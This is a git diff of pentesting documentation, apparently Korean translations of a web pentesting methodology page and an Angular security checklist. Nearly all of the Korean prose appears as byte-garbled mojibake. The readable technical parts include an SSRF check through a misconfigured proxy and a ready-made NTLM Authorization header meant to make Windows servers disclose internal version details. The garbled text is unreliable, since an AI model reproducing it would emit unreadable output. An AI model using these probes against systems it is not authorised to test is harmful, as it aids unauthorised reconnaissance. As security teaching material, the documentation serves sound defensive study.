๋ฐœ๊ฒฌ **502 Proxy Error** -์–ด๋–ค ํŽ˜์ด์ง€๊ฐ€ **๊ทธ ์ฝ”๋“œ**๋กœ **์‘๋‹ต**ํ•˜๋ฉด, ์•„๋งˆ๋„ **์ž˜๋ชป ๊ตฌ์„ฑ๋œ ํ”„๋ก์‹œ**์ผ ๊ฒƒ์ž…๋‹ˆ๋‹ค. **`GET https://google.com HTTP/1.1`**์™€ ๊ฐ™์€ HTTP ์š”์ฒญ์„ ๋ณด๋‚ด๋ฉด(ํ˜ธ์ŠคํŠธ ํ—ค๋” ๋ฐ ๊ธฐํƒ€ ์ผ๋ฐ˜ ํ—ค๋” ํฌํ•จ), **ํ”„๋ก์‹œ**๋Š” _**google.com**_์— **์ ‘๊ทผ**ํ•˜๋ ค๊ณ  ์‹œ๋„ํ•˜๋ฉฐ, ์ด๋กœ ์ธํ•ด SSRF๋ฅผ ๋ฐœ๊ฒฌํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. +์–ด๋–ค ํŽ˜์ด์ง€๊ฐ€ **์ด ์ฝ”๋“œ**๋กœ **์‘๋‹ต**ํ•˜๋ฉด, ์•„๋งˆ๋„ **์ž˜๋ชป ๊ตฌ์„ฑ๋œ ํ”„๋ก์‹œ**์ผ ๊ฒƒ์ž…๋‹ˆ๋‹ค. **`GET https://google.com HTTP/1.1`**์™€ ๊ฐ™์€ HTTP ์š”์ฒญ์„ ๋ณด๋‚ด๋ฉด (ํ˜ธ์ŠคํŠธ ํ—ค๋” ๋ฐ ๊ธฐํƒ€ ์ผ๋ฐ˜ ํ—ค๋” ํฌํ•จ), **ํ”„๋ก์‹œ**๋Š” _**google.com**_์— **์ ‘๊ทผ**ํ•˜๋ ค๊ณ  ์‹œ๋„ํ•˜๋ฉฐ, ์ด๋กœ ์ธํ•ด SSRF๋ฅผ ๋ฐœ๊ฒฌํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. **NTLM ์ธ์ฆ - ์ •๋ณด ๊ณต๊ฐœ** -์ธ์ฆ์„ ์š”์ฒญํ•˜๋Š” ์„œ๋ฒ„๊ฐ€ **Windows**์ด๊ฑฐ๋‚˜ **์ž๊ฒฉ ์ฆ๋ช…**(๋ฐ **๋„๋ฉ”์ธ ์ด๋ฆ„** ์š”์ฒญ)์„ ์š”๊ตฌํ•˜๋Š” ๋กœ๊ทธ์ธ ํ™”๋ฉด์„ ์ฐพ์œผ๋ฉด **์ •๋ณด ๊ณต๊ฐœ**๋ฅผ ์œ ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ -**ํ—ค๋”๋ฅผ ์ „์†กํ•˜์‹ญ์‹œ์˜ค**: `โ€œAuthorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=โ€` ๊ทธ๋ฆฌ๊ณ  **NTLM ์ธ์ฆ์ด ์ž‘๋™ํ•˜๋Š” ๋ฐฉ์‹** ๋•Œ๋ฌธ์— ์„œ๋ฒ„๋Š” "WWW-Authenticate" ํ—ค๋” ๋‚ด์— ๋‚ด๋ถ€ ์ •๋ณด(IIS ๋ฒ„์ „, Windows ๋ฒ„์ „ ๋“ฑ...)๋กœ ์‘๋‹ตํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.\ +์‹คํ–‰ ์ค‘์ธ ์„œ๋ฒ„๊ฐ€ ์ธ์ฆ์„ ์š”์ฒญํ•˜๋Š” ๊ฒฝ์šฐ **Windows**์ด๊ฑฐ๋‚˜ **์ž๊ฒฉ ์ฆ๋ช…**์„ ์š”์ฒญํ•˜๋Š” ๋กœ๊ทธ์ธ ํ™”๋ฉด์„ ๋ฐœ๊ฒฌํ•˜๋ฉด **์ •๋ณด ๊ณต๊ฐœ**๋ฅผ ์œ ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +**ํ—ค๋”๋ฅผ ์ „์†กํ•˜์‹ญ์‹œ์˜ค**: `โ€œAuthorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=โ€` ๊ทธ๋ฆฌ๊ณ  **NTLM ์ธ์ฆ์ด ์ž‘๋™ํ•˜๋Š” ๋ฐฉ์‹** ๋•Œ๋ฌธ์—, ์„œ๋ฒ„๋Š” "WWW-Authenticate" ํ—ค๋” ๋‚ด์— ๋‚ด๋ถ€ ์ •๋ณด(IIS ๋ฒ„์ „, Windows ๋ฒ„์ „ ๋“ฑ...)๋กœ ์‘๋‹ตํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.\ ์ด ์ž‘์—…์€ **nmap ํ”Œ๋Ÿฌ๊ทธ์ธ** "_http-ntlm-info.nse_"๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ž๋™ํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **HTTP ๋ฆฌ๋””๋ ‰์…˜ (CTF)** -**๋ฆฌ๋””๋ ‰์…˜** ๋‚ด์— **๋‚ด์šฉ**์„ **๋„ฃ๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค**. ์ด ๋‚ด์šฉ์€ **์‚ฌ์šฉ์ž์—๊ฒŒ ํ‘œ์‹œ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค**(๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋ฆฌ๋””๋ ‰์…˜์„ ์‹คํ–‰ํ•˜๋ฏ€๋กœ) ํ•˜์ง€๋งŒ ๊ทธ ์•ˆ์— **์ˆจ๊ฒจ์ง„** ๊ฒƒ์ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +**๋ฆฌ๋””๋ ‰์…˜** ๋‚ด์— **๋‚ด์šฉ์„ ๋„ฃ๋Š”** ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์ด ๋‚ด์šฉ์€ **์‚ฌ์šฉ์ž์—๊ฒŒ ํ‘œ์‹œ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค** (๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋ฆฌ๋””๋ ‰์…˜์„ ์‹คํ–‰ํ•˜๋ฏ€๋กœ) ํ•˜์ง€๋งŒ ๊ทธ ์•ˆ์— **์ˆจ๊ฒจ์ง„** ๊ฒƒ์ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### ์›น ์ทจ์•ฝ์  ํ™•์ธ -์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋Œ€ํ•œ ํฌ๊ด„์ ์ธ ์—ด๊ฑฐ๊ฐ€ ์ˆ˜ํ–‰๋˜์—ˆ์œผ๋ฏ€๋กœ ์ด์ œ ๊ฐ€๋Šฅํ•œ ๋งŽ์€ ์ทจ์•ฝ์ ์„ ํ™•์ธํ•  ์‹œ๊ฐ„์ž…๋‹ˆ๋‹ค. ์ฒดํฌ๋ฆฌ์ŠคํŠธ๋Š” ์—ฌ๊ธฐ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋Œ€ํ•œ ํฌ๊ด„์ ์ธ ์—ด๊ฑฐ๊ฐ€ ์ˆ˜ํ–‰๋˜์—ˆ์œผ๋ฏ€๋กœ, ์ด์ œ ๊ฐ€๋Šฅํ•œ ๋งŽ์€ ์ทจ์•ฝ์ ์„ ํ™•์ธํ•  ์‹œ๊ฐ„์ž…๋‹ˆ๋‹ค. ์ฒดํฌ๋ฆฌ์ŠคํŠธ๋Š” ์—ฌ๊ธฐ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md @@ -334,9 +334,9 @@ _๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๋˜๋Š” ์ŠคํŒŒ์ด๋”๋ง ์ค‘์— ์ƒˆ๋กœ์šด ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ ๋ฐœ๊ฒฌ - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) - [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection) -### ๋ณ€๊ฒฝ ์‚ฌํ•ญ ๋ชจ๋‹ˆํ„ฐ๋ง +### ํŽ˜์ด์ง€ ๋ณ€๊ฒฝ ๋ชจ๋‹ˆํ„ฐ๋ง -[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)์™€ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํŽ˜์ด์ง€์˜ ์ˆ˜์ • ์‚ฌํ•ญ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์—ฌ ์ทจ์•ฝ์ ์„ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)์™€ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ณ€๊ฒฝ ์‚ฌํ•ญ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์—ฌ ์ทจ์•ฝ์ ์„ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### HackTricks ์ž๋™ ๋ช…๋ น ``` @@ -348,7 +348,7 @@ Entry_1: Name: Notes Description: Notes for Web Note: | -https://book.hacktricks.xyz/pentesting/pentesting-web +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/index.html Entry_2: Name: Quick Web Scan diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md index fce705545..900cd32cd 100644 --- a/src/network-services-pentesting/pentesting-web/angular.md +++ b/src/network-services-pentesting/pentesting-web/angular.md @@ -5,7 +5,7 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist). * [ ] Angular์€ ํด๋ผ์ด์–ธํŠธ ์ธก ํ”„๋ ˆ์ž„์›Œํฌ๋กœ ๊ฐ„์ฃผ๋˜๋ฉฐ ์„œ๋ฒ„ ์ธก ๋ณดํ˜ธ๋ฅผ ์ œ๊ณตํ•  ๊ฒƒ์œผ๋กœ ๊ธฐ๋Œ€๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. -* [ ] ์Šคํฌ๋ฆฝํŠธ์— ๋Œ€ํ•œ ์†Œ์Šค๋งต์ด ํ”„๋กœ์ ํŠธ ๊ตฌ์„ฑ์—์„œ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. +* [ ] ์Šคํฌ๋ฆฝํŠธ์— ๋Œ€ํ•œ ์†Œ์Šค ๋งต์ด ํ”„๋กœ์ ํŠธ ๊ตฌ์„ฑ์—์„œ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. * [ ] ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์‚ฌ์šฉ์ž ์ž…๋ ฅ์€ ํ•ญ์ƒ ํ…œํ”Œ๋ฆฟ์—์„œ ์‚ฌ์šฉ๋˜๊ธฐ ์ „์— ๋ณด๊ฐ„๋˜๊ฑฐ๋‚˜ ์ •๋ฆฌ๋ฉ๋‹ˆ๋‹ค. * [ ] ์‚ฌ์šฉ์ž๋Š” ์„œ๋ฒ„ ์ธก ๋˜๋Š” ํด๋ผ์ด์–ธํŠธ ์ธก ํ…œํ”Œ๋ฆฟ์— ๋Œ€ํ•œ ์ œ์–ด ๊ถŒํ•œ์ด ์—†์Šต๋‹ˆ๋‹ค. * [ ] ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์‚ฌ์šฉ์ž ์ž…๋ ฅ์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์‹ ๋ขฐํ•˜๊ธฐ ์ „์— ์ ์ ˆํ•œ ๋ณด์•ˆ ์ปจํ…์ŠคํŠธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ •๋ฆฌ๋ฉ๋‹ˆ๋‹ค. @@ -14,7 +14,7 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist). ## What is Angular -Angular๋Š” **๊ฐ•๋ ฅํ•œ** ๋ฐ **์˜คํ”ˆ ์†Œ์Šค** ํ”„๋ก ํŠธ ์—”๋“œ ํ”„๋ ˆ์ž„์›Œํฌ๋กœ **Google**์—์„œ ์œ ์ง€ ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹ค. **TypeScript**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ฝ”๋“œ ๊ฐ€๋…์„ฑ๊ณผ ๋””๋ฒ„๊น…์„ ํ–ฅ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. ๊ฐ•๋ ฅํ•œ ๋ณด์•ˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ํ†ตํ•ด Angular๋Š” **XSS** ๋ฐ **์˜คํ”ˆ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ**์™€ ๊ฐ™์€ ์ผ๋ฐ˜์ ์ธ ํด๋ผ์ด์–ธํŠธ ์ธก ์ทจ์•ฝ์ ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. ์„œ๋ฒ„ ์ธก์—์„œ๋„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์–ด **์–‘์ชฝ**์—์„œ ๋ณด์•ˆ ๊ณ ๋ ค ์‚ฌํ•ญ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. +Angular์€ **๊ฐ•๋ ฅํ•œ** ๋ฐ **์˜คํ”ˆ ์†Œ์Šค** ํ”„๋ก ํŠธ ์—”๋“œ ํ”„๋ ˆ์ž„์›Œํฌ๋กœ **Google**์—์„œ ์œ ์ง€ ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹ค. **TypeScript**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ฝ”๋“œ ๊ฐ€๋…์„ฑ๊ณผ ๋””๋ฒ„๊น…์„ ํ–ฅ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. ๊ฐ•๋ ฅํ•œ ๋ณด์•ˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ํ†ตํ•ด Angular๋Š” **XSS** ๋ฐ **์˜คํ”ˆ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ**์™€ ๊ฐ™์€ ์ผ๋ฐ˜์ ์ธ ํด๋ผ์ด์–ธํŠธ ์ธก ์ทจ์•ฝ์ ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. ์„œ๋ฒ„ ์ธก์—์„œ๋„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์–ด **์–‘์ชฝ**์—์„œ ๋ณด์•ˆ ๊ณ ๋ ค ์‚ฌํ•ญ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ## Framework architecture @@ -39,13 +39,13 @@ my-workspace/ โ”œโ”€โ”€ angular.json #provides workspace-wide and project-specific configuration defaults โ””โ”€โ”€ tsconfig.json #provides the base TypeScript configuration for projects in the workspace ``` -๋ฌธ์„œ์— ๋”ฐ๋ฅด๋ฉด, ๋ชจ๋“  Angular ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ตœ์†Œํ•œ ํ•˜๋‚˜์˜ ๊ตฌ์„ฑ ์š”์†Œ, ์ฆ‰ ๊ตฌ์„ฑ ์š”์†Œ ๊ณ„์ธต์„ DOM๊ณผ ์—ฐ๊ฒฐํ•˜๋Š” ๋ฃจํŠธ ๊ตฌ์„ฑ ์š”์†Œ(`AppComponent`)๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐ ๊ตฌ์„ฑ ์š”์†Œ๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ฐ์ดํ„ฐ์™€ ๋กœ์ง์„ ํฌํ•จํ•˜๋Š” ํด๋ž˜์Šค๋ฅผ ์ •์˜ํ•˜๋ฉฐ, ๋Œ€์ƒ ํ™˜๊ฒฝ์— ํ‘œ์‹œ๋  ๋ทฐ๋ฅผ ์ •์˜ํ•˜๋Š” HTML ํ…œํ”Œ๋ฆฟ๊ณผ ์—ฐ๊ฒฐ๋ฉ๋‹ˆ๋‹ค. `@Component()` ๋ฐ์ฝ”๋ ˆ์ดํ„ฐ๋Š” ๊ทธ ์•„๋ž˜์˜ ํด๋ž˜์Šค๋ฅผ ๊ตฌ์„ฑ ์š”์†Œ๋กœ ์‹๋ณ„ํ•˜๊ณ , ํ…œํ”Œ๋ฆฟ ๋ฐ ๊ด€๋ จ ๊ตฌ์„ฑ ์š”์†Œ ์ „์šฉ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. `AppComponent`๋Š” `app.component.ts` ํŒŒ์ผ์— ์ •์˜๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. +๋ฌธ์„œ์— ๋”ฐ๋ฅด๋ฉด, ๋ชจ๋“  Angular ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ตœ์†Œํ•œ ํ•˜๋‚˜์˜ ๊ตฌ์„ฑ ์š”์†Œ, ์ฆ‰ DOM๊ณผ ๊ตฌ์„ฑ ์š”์†Œ ๊ณ„์ธต์„ ์—ฐ๊ฒฐํ•˜๋Š” ๋ฃจํŠธ ๊ตฌ์„ฑ ์š”์†Œ(`AppComponent`)๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐ ๊ตฌ์„ฑ ์š”์†Œ๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ฐ์ดํ„ฐ์™€ ๋กœ์ง์„ ํฌํ•จํ•˜๋Š” ํด๋ž˜์Šค๋ฅผ ์ •์˜ํ•˜๋ฉฐ, ๋Œ€์ƒ ํ™˜๊ฒฝ์— ํ‘œ์‹œ๋  ๋ทฐ๋ฅผ ์ •์˜ํ•˜๋Š” HTML ํ…œํ”Œ๋ฆฟ๊ณผ ์—ฐ๊ฒฐ๋ฉ๋‹ˆ๋‹ค. `@Component()` ๋ฐ์ฝ”๋ ˆ์ดํ„ฐ๋Š” ๊ทธ ์•„๋ž˜์˜ ํด๋ž˜์Šค๋ฅผ ๊ตฌ์„ฑ ์š”์†Œ๋กœ ์‹๋ณ„ํ•˜๊ณ , ํ…œํ”Œ๋ฆฟ ๋ฐ ๊ด€๋ จ ๊ตฌ์„ฑ ์š”์†Œ ์ „์šฉ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. `AppComponent`๋Š” `app.component.ts` ํŒŒ์ผ์— ์ •์˜๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. -Angular NgModules๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋„๋ฉ”์ธ, ์›Œํฌํ”Œ๋กœ์šฐ ๋˜๋Š” ๋ฐ€์ ‘ํ•˜๊ฒŒ ๊ด€๋ จ๋œ ๊ธฐ๋Šฅ ์„ธํŠธ์— ์ „๋…ํ•˜๋Š” ๊ตฌ์„ฑ ์š”์†Œ ์ง‘ํ•ฉ์— ๋Œ€ํ•œ ์ปดํŒŒ์ผ ์ปจํ…์ŠคํŠธ๋ฅผ ์„ ์–ธํ•ฉ๋‹ˆ๋‹ค. ๋ชจ๋“  Angular ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ผ๋ฐ˜์ ์œผ๋กœ `AppModule`์ด๋ผ๋Š” ์ด๋ฆ„์˜ ๋ฃจํŠธ ๋ชจ๋“ˆ์„ ๊ฐ€์ง€๊ณ  ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹œ์ž‘ํ•˜๋Š” ๋ถ€ํŠธ์ŠคํŠธ๋žฉ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ผ๋ฐ˜์ ์œผ๋กœ ๋งŽ์€ ๊ธฐ๋Šฅ ๋ชจ๋“ˆ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. `AppModule`์€ `app.module.ts` ํŒŒ์ผ์— ์ •์˜๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. +Angular NgModules๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋„๋ฉ”์ธ, ์›Œํฌํ”Œ๋กœ์šฐ ๋˜๋Š” ๋ฐ€์ ‘ํ•˜๊ฒŒ ๊ด€๋ จ๋œ ๊ธฐ๋Šฅ ์„ธํŠธ์— ์ „๋…ํ•˜๋Š” ๊ตฌ์„ฑ ์š”์†Œ ์ง‘ํ•ฉ์— ๋Œ€ํ•œ ์ปดํŒŒ์ผ ์ปจํ…์ŠคํŠธ๋ฅผ ์„ ์–ธํ•ฉ๋‹ˆ๋‹ค. ๋ชจ๋“  Angular ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ผ๋ฐ˜์ ์œผ๋กœ `AppModule`์ด๋ผ๊ณ  ๋ช…๋ช…๋œ ๋ฃจํŠธ ๋ชจ๋“ˆ์„ ๊ฐ€์ง€๊ณ  ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹œ์ž‘ํ•˜๋Š” ๋ถ€ํŠธ์ŠคํŠธ๋žฉ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ผ๋ฐ˜์ ์œผ๋กœ ๋งŽ์€ ๊ธฐ๋Šฅ ๋ชจ๋“ˆ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. `AppModule`์€ `app.module.ts` ํŒŒ์ผ์— ์ •์˜๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. Angular `Router` NgModule์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋‹ค์–‘ํ•œ ์ƒํƒœ์™€ ๋ทฐ ๊ณ„์ธต ๊ฐ„์˜ ํƒ์ƒ‰ ๊ฒฝ๋กœ๋ฅผ ์ •์˜ํ•  ์ˆ˜ ์žˆ๋Š” ์„œ๋น„์Šค๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. `RouterModule`์€ `app-routing.module.ts` ํŒŒ์ผ์— ์ •์˜๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. -ํŠน์ • ๋ทฐ์™€ ์—ฐ๊ฒฐ๋˜์ง€ ์•Š์€ ๋ฐ์ดํ„ฐ๋‚˜ ๋กœ์ง์„ ๊ณต์œ ํ•˜๊ณ  ์‹ถ๋‹ค๋ฉด ์„œ๋น„์Šค ํด๋ž˜์Šค๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ์„œ๋น„์Šค ํด๋ž˜์Šค ์ •์˜๋Š” ์ฆ‰์‹œ `@Injectable()` ๋ฐ์ฝ”๋ ˆ์ดํ„ฐ๋กœ ์‹œ์ž‘๋ฉ๋‹ˆ๋‹ค. ์ด ๋ฐ์ฝ”๋ ˆ์ดํ„ฐ๋Š” ๋‹ค๋ฅธ ์ œ๊ณต์ž๊ฐ€ ํด๋ž˜์Šค์— ์ข…์†์„ฑ์œผ๋กœ ์ฃผ์ž…๋  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์˜์กด์„ฑ ์ฃผ์ž…(DI)์€ ๊ตฌ์„ฑ ์š”์†Œ ํด๋ž˜์Šค๋ฅผ ๊ฐ„๊ฒฐํ•˜๊ณ  ํšจ์œจ์ ์œผ๋กœ ์œ ์ง€ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ์ด๋“ค์€ ์„œ๋ฒ„์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ ธ์˜ค๊ฑฐ๋‚˜, ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ๊ฒ€์ฆํ•˜๊ฑฐ๋‚˜, ์ฝ˜์†”์— ์ง์ ‘ ๋กœ๊ทธ๋ฅผ ๋‚จ๊ธฐ์ง€ ์•Š๊ณ , ์ด๋Ÿฌํ•œ ์ž‘์—…์„ ์„œ๋น„์Šค์— ์œ„์ž„ํ•ฉ๋‹ˆ๋‹ค. +ํŠน์ • ๋ทฐ์™€ ์—ฐ๊ฒฐ๋˜์ง€ ์•Š์€ ๋ฐ์ดํ„ฐ๋‚˜ ๋กœ์ง์„ ๊ณต์œ ํ•˜๊ณ  ์‹ถ๋‹ค๋ฉด ์„œ๋น„์Šค ํด๋ž˜์Šค๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ์„œ๋น„์Šค ํด๋ž˜์Šค ์ •์˜๋Š” `@Injectable()` ๋ฐ์ฝ”๋ ˆ์ดํ„ฐ๋กœ ์ฆ‰์‹œ ์•ž์„œ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐ์ฝ”๋ ˆ์ดํ„ฐ๋Š” ๋‹ค๋ฅธ ์ œ๊ณต์ž๊ฐ€ ํด๋ž˜์Šค์— ์ข…์†์„ฑ์œผ๋กœ ์ฃผ์ž…๋  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์˜์กด์„ฑ ์ฃผ์ž…(DI)์€ ๊ตฌ์„ฑ ์š”์†Œ ํด๋ž˜์Šค๋ฅผ ๊ฐ„๊ฒฐํ•˜๊ณ  ํšจ์œจ์ ์œผ๋กœ ์œ ์ง€ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ์ด๋“ค์€ ์„œ๋ฒ„์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ ธ์˜ค๊ฑฐ๋‚˜, ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ๊ฒ€์ฆํ•˜๊ฑฐ๋‚˜, ์ฝ˜์†”์— ์ง์ ‘ ๋กœ๊ทธ๋ฅผ ๋‚จ๊ธฐ์ง€ ์•Š๊ณ , ์ด๋Ÿฌํ•œ ์ž‘์—…์„ ์„œ๋น„์Šค์— ์œ„์ž„ํ•ฉ๋‹ˆ๋‹ค. ## Sourcemap ๊ตฌ์„ฑ @@ -58,13 +58,13 @@ Angular ํ”„๋ ˆ์ž„์›Œํฌ๋Š” `tsconfig.json` ์˜ต์…˜์„ ๋”ฐ๋ฅด๋ฉฐ TypeScript ํŒŒ์ผ "hidden": false } ``` -์ผ๋ฐ˜์ ์œผ๋กœ sourcemap ํŒŒ์ผ์€ ์ƒ์„ฑ๋œ ํŒŒ์ผ์„ ์›๋ณธ ํŒŒ์ผ์— ๋งคํ•‘ํ•˜์—ฌ ๋””๋ฒ„๊น… ๋ชฉ์ ์œผ๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ํ”„๋กœ๋•์…˜ ํ™˜๊ฒฝ์—์„œ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์€ ๊ถŒ์žฅ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. sourcemaps๊ฐ€ ํ™œ์„ฑํ™”๋˜๋ฉด Angular ํ”„๋กœ์ ํŠธ์˜ ์›๋ž˜ ์ƒํƒœ๋ฅผ ๋ณต์ œํ•˜์—ฌ ๊ฐ€๋…์„ฑ์„ ๋†’์ด๊ณ  ํŒŒ์ผ ๋ถ„์„์— ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๋น„ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ, ๊ฒ€ํ† ์ž๋Š” ๋ณด์•ˆ ํŒจํ„ด์„ ๊ฒ€์ƒ‰ํ•˜์—ฌ ์ปดํŒŒ์ผ๋œ JavaScript ํŒŒ์ผ์„ ์ˆ˜๋™์œผ๋กœ ๋ถ„์„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ผ๋ฐ˜์ ์œผ๋กœ, sourcemap ํŒŒ์ผ์€ ์ƒ์„ฑ๋œ ํŒŒ์ผ์„ ์›๋ณธ ํŒŒ์ผ์— ๋งคํ•‘ํ•˜์—ฌ ๋””๋ฒ„๊น… ๋ชฉ์ ์œผ๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ํ”„๋กœ๋•์…˜ ํ™˜๊ฒฝ์—์„œ 